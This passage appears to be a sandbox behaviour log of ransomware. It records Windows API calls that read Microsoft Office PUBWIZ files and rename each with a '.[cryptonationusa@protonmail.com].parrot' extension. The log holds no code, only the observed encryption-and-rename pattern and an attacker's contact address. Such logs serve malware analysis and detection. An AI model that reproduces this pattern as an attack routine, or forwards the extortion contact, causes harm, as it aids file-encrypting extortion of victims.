(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHD98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthd98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0209.217] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.217] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.218] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.219] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a9a, lpOverlapped=0x0) returned 1 [0209.221] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthdhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LTHDHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\lthdhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0209.228] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.228] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.232] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2694, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2694, lpOverlapped=0x0) returned 1 [0209.234] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0209.241] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.241] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.242] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.243] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe56, lpOverlapped=0x0) returned 1 [0209.243] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MARQUEE.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\marquee.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0209.250] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.250] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.251] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.252] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14a14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14a14, lpOverlapped=0x0) returned 1 [0209.254] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0209.265] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.265] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.267] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.267] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x138a, lpOverlapped=0x0) returned 1 [0209.268] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0209.276] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.276] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.280] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.280] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fd7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fd7e, lpOverlapped=0x0) returned 1 [0209.284] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0209.293] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.293] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.294] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.295] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x208fa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x208fa, lpOverlapped=0x0) returned 1 [0209.301] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MSTHED98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\msthed98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0209.313] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.313] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.314] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.314] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1da0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1da0a, lpOverlapped=0x0) returned 1 [0209.319] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBAR11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbar11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0209.329] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.329] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.330] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.331] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ccde, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ccde, lpOverlapped=0x0) returned 1 [0209.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBARV.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbarv.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0209.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.340] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.341] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.341] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39c, lpOverlapped=0x0) returned 1 [0209.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH1.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph1.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH1.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph1.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0209.348] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.348] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.394] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.394] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x396, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x396, lpOverlapped=0x0) returned 1 [0209.395] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH2.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph2.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NAVBRPH2.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\navbrph2.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0209.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0209.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.402] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.404] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.404] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9965a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9965a, lpOverlapped=0x0) returned 1 [0209.427] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0209.463] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.463] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.465] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4260, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4260, lpOverlapped=0x0) returned 1 [0209.470] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0209.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.481] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.484] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x87d24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x87d24, lpOverlapped=0x0) returned 1 [0209.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0209.549] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.549] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, 